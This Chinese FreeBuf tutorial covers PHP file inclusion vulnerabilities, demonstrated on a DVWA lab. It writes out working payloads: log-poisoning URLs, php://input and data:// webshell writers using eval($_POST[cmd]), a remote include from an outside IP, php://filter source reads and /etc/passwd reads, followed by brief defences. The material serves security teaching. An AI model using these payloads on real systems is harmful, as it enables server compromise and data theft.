知识大陆

官方公众号 企业安全 新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

WEB安全梳理-文件包含
2022-06-20 16:05:55

image

一、文件包含漏洞简单理解

文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码

本地文件包含和远程文件包含区别

1)本地文件包含主要是包含服务器上的文件
2)远程文件包含主要是通过http协议包含其他地方的资源
3)远程文件包含比本地文件包含的危害大

二、文件包含漏洞的危害

1)配合文件上传漏洞GetShell
2)可以执行任意脚本代码
3)网站源码文件以及配置文件泄露
4)远程包含GetShell
5)控制整个网站甚至是服务器

三、文件包含漏洞利用前提

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据(允许url里的封装协议访问文件)
allow_url_include=On(php5.2之后默认为Off,为off时不允许url里的封装协议包含文件)

四、常见的文件包含的函数

1)PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
注:当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
2)JSP/Servlet:java.io.file()、java.io.filereader()、静动态include
3)ASP:include file、include virtual

注:

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web应用中居多,而在JSP、ASP、程序中却非常少,甚至没有。

五、PHP中include与require区别

include():

执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。

require():

只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。

inlude :包含的文件不存在,程序会继续执行
require:包含文件不存在,程序停止执行

六、文件包含利用思路

1)包含一些敏感的配置文件,获取目标敏感信息
2)配合图片马getshell
3)包含临时文件getshell
4)包含session文件getshell
5)包含日志文件getshell(Apach、SSH等等)
6)利用php伪协议进行攻击

七、本地文件包含

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

1、本地文件包含利用方式

1)上传图片马,包含图片马GetShell
2)读取网站源码以及配置文件
3)包含日志文件GetShell

例如:通过对大小写是否敏感可以判断是windows,直接读取配置文件

image

2、包含图片马结合%00截断getshell

条件:需要magic_quotes_gpc=off; php版本小于5.3.4

image

新建一个1.txt,内容为
image
进行本地包含1.txt,可以发现能解析任意后缀的文件
image

3、包含图片马结合路径长度截断getshell

条件:php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256(window只使用于win32)
/etc/passwd././././././././././././.[......]/././././././././.php(文件名过长导致防御失效
/etc/passwd...............[......].........................php(文件名过长导致防御失效)

总结:一般来说如果php版本在5.3.4以下,先尝试使用%00截断,如果不行再使用路径长度截断

4、包含日志getshell

当我们的目标站点没有上传功能时,并且也不能远程文件包含时我们就可以考虑包含日志文件或者其它可以记录客户端输入的文件。原理非常简单,当我们访问网站时,服务器日志会记录我们的行为,当我们的访问链接中含义恶意代码时,也会被记录到日志中,从而通过包含日志可以进行getshell。

但是整个过程最难就是获取日志文件的存放路径。

1)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log

(2) apache+win2003日志默认路径
			apache\logs\access.log
			apache\logs\error.log
   (3) IIS6.0+win2003默认日志文件
			C:\WINDOWS\system32\Logfiles
   (4) IIS7.0+win2003 默认日志文件
			%SystemDrive%\inetpub\logs\LogFiles
   (5) nginx 日志文件
			日志文件在用户安装目录logs目录下
					以我的安装路径为例/usr/local/nginx,
					那我的日志目录就是在/usr/local/nginx/logs里

2)web中间件默认配置

(1) apache+linux 默认配置文件
			/etc/httpd/conf/httpd.conf 或者  index.php?page=/etc/init.d/httpd
   (2) IIS6.0+win2003 配置文件
			C:/Windows/system32/inetsrv/metabase.xml
   (3) IIS7.0+WIN 配置文件
			C:\Windows\System32\inetsrv\config\applicationHost.config

3)利用条件

1)日志存放路径的获取
2)存在文件包含漏洞
3)curl命令行url请求工具或者burpsuite代理(避免url编码的干扰)

4)通过写入webserver的errorlog或者accesslog来实现一句话

适用于存在本地文件包含,但是无法上传文件的场景。

查看httpd.conf文件,找到error_log(因为我是本地windows搭建的环境,如果是linux可以通过上面默认配置的位置去读取httpd.conf)

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\Apache\conf\httpd.conf

image

触发webserver的404,把webshell写入错误文件。

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=%3C?php%20phpinfo();?%3E

image

image

修改为
image

通过包含错误日志,运行一句话木马。

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\Apache\logs\error.log

image

八、远程文件包含

包含远程非脚本文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或者不被解析的php文件。

1、利用前提

allow_url_fopen=on
allow_url_include=on
被包含的变量前没有目录的限制

image

2、漏洞利用示例

验证
image

新建一个1.txt 在自己的服务器上开启临时服务

image

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://114.115.154.97/1.txt

远程包含1.txt
image

注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般做成.txt的文件,再让它包含过来

文件包含,只要存在包含漏洞且被包含了,任何后缀的文件都会被当成php文件执行

九、常见的伪协议

1、PHP伪协议的种类

PHP伪协议事实上就是其支持的协议与封装协议(12种)

file://        — 访问本地文件系统
http://        — 访问 HTTP(s) 网址
ftp://         — 访问 FTP(s) URL
php://         —访问各个输入/输出流(I/Ostreams)
zlib://        — 压缩流
data://        —数据(RFC 2397)
glob://        — 查找匹配的文件路径模式
phar://        — PHP 归档
ssh2://        — Secure Shell 2
rar://         — RAR
ogg://        — 音频流
expect://      — 处理交互式的流

2、伪协议的使用条件

在php.ini里有两个参数allow_url_fopen和allow_url_include。

1)allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
2)allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

3、常见伪协议利用姿势

1)php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行。

使用条件:

1)allow_url_fopen :off/on
2)allow_url_include:on

注:当enctype=“multipart/form-data”时,php://input是无效的。

利用姿势

php://filter/read=convert.base64-encode/resource=index.php (常用于读取源码)
php://input (配合post发送数据)

案例演示
测试代码

<?php
	$filename  = $_GET['filename'];
	include($filename);

a、执行任意代码

?file=php://input
 post数据: <?php phpinfo();?>

image

b、写入木马

?file=php://input
 post数据: 
 <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

image

image

2)data://

data协议和input协议差不多,指定data是get方法,而input是post方法(可用来执行任意代码,该协议在双On 的情况下才可以正常使用)

使用条件

1)allow_url_fopen:off/on
2)allow_url_include:on

利用方法

data://text/plain,[php代码]
data://text/plain;base64,[base64编码的php代码]
data:text/plain;base64,[base64编码]
data:text/plain,[php代码]

案例演示

测试代码:

<?php
	$filename  = $_GET['filename'];
	include($filename);

a、执行任意代码

input.php?filename=data:text/html,%20%3C?PHP%20phpinfo();?%3E

image

b、获取shell

filename=data://text/plain,<?php fputs(fopen('m0be1.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

image

image

3)file://

通过file协议可以访问本地文件系统,读取到文件的内容
使用条件

1)allow_url_fopen:off/on
2)allow_url_include:off/on

利用姿势

1)file://[文件的绝对路径和文件名]
2)file://d:/flag.txt

案例演示

测试源码

<?php
	$filename  = $_GET['filename'];
	include($filename);

读取文件

Linux :http://127.0.0.1/FI/LFI.php?filename=file:///etc/passwd  绝对路径
Windows :http://127.0.0.1/DVWA-master/vulnerabilities/fi/file.php?filename=file:///C:windows\win.ini 绝对路径

image

注:不能读取脚本文件

4)zip://

zip伪协议和phar协议类似,但是用法不一样。

使用条件:

1)PHP > =5.3.0(注意在windows下测试要5.3.0<PHP<5.4 才可以)
2)#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

利用姿势

zip://[压缩文件路径]#[压缩文件内的子文件名]
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=zip://1.jpg%231.php
或 绝对路径
index.php?file=zip://D:/1.jpg%231.php

案例演示

测试代码

<?php
	$filename  = $_GET['filename'];
	include($filename);

步骤如下

将1.php改为1.jpg文件,然后压缩1.jpg文件为1.zip文件
注意:要用#分隔压缩包和压缩包里的文件名,并且#要用url编码%23
php版本5.2测试失败的看上面的条件哈
http://192.168.235.129/DVWA-master/vulnerabilities/fi/input.php?filename=zip://1.zip%231.php

image

如果网站不能上传zip文件,则可以将1.zip改名为1.jpg

image

5)phar://

使用条件

1)allow_url_fopen:off/on
2)allow_url_include:off/on
3)php 版本要大于等于php5.3.0

利用姿势

php解压缩包的一个函数,解压的压缩包与后缀无关。

s?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=phar://1.jpg/1.php
或 绝对路径
index.php?file=phar://D:/1.jpg/1.php

案例演示

将1.php或者1.txt(重点是内容为php代码)改为1.jpg文件,然后压缩1.jpg文件为1.zip文件
注意:要用/分隔压缩包和压缩包里的文件名,并且该协议只能在php版本5.3.0以上使用

测试代码

<?php
	$filename  = $_GET['filename'];
	include($filename);

a、利用方式1

?filename=zip://1.zip%231.php(或者绝对路径)

image

b、利用方式2

如果网站不能上传zip文件,则可以将1.zip改名为1.jpg
?filename=zip://1.jpg%231.php(或者绝对路径)

image

6)php://filter

经常使用的伪协议,这个协议常用来读取服务器文件的内容,在双OFF的情况下也可以使用。有时也可以用于getshell;

使用条件

1)allow_url_fopen:off/on
2)allow_url_include:off/on
3)php 版本要大于等于php5.3.0

利用姿势

// 以base64编码输出文件内容
php://filter/read=convert.base64-encode/resource=[文件名]
// 以ROT13加密文件内容输出
php://filter/read=String.toupper|string.rot13/resource=[文件名]

案例演示

测试代码

<?php
	$filename  = $_GET['filename'];
	include($filename);

a、结合文件上传执行代码

http://192.168.235.129/DVWA-master/vulnerabilities/fi/input.php?filename=php://filter/resource=1.txt

image

b、读取源码

?filename=php://filter/read=convert.base64-encode/resource=include.php

image

伪协议的一些其他知识点小结:

1)php://input和data://伪协议可以执行任意代码
2)file://  php://filter 可用于读取文件,可以结合文件上传漏洞进行利用
3)zip://   phar://   主要用于配合php://filter读源码审计上传拿getshell。
4)php://filter可以用来对磁盘读写,ctf中任意文件读取用的比较多。
5)当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含
6)当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和php://temp等伪协议

十、漏洞挖掘

当我们看到url参数的值为路径,那么我们可以尝试fuzz,是否存在文件包含漏洞,skin参数的值为路径,我们可以对其fuzz,一般我常用字典跑,这种lfi字典git上有很多。。

比如:

http://www.huasec.com/index.php?skin=/static/html/head.html&page=1

还可以利用curl-exec进行ssrf攻击和内网渗透

十一、文件包含防御

1)allow_url_fopen=off
2)allow_url_include=off
3)过滤./ ../
4)使用正则或者stristr过滤伪协议

本文作者:, 转载请注明来自 FreeBuf.COM

# web安全
被以下专辑收录,发现更多精彩内容 + 收入我的专辑 + 加入我的收藏 评论 按热度排序

登录 / 注册 后在FreeBuf发布内容哦

  • 0 文章数
  • 0 评论数
  • 0 关注者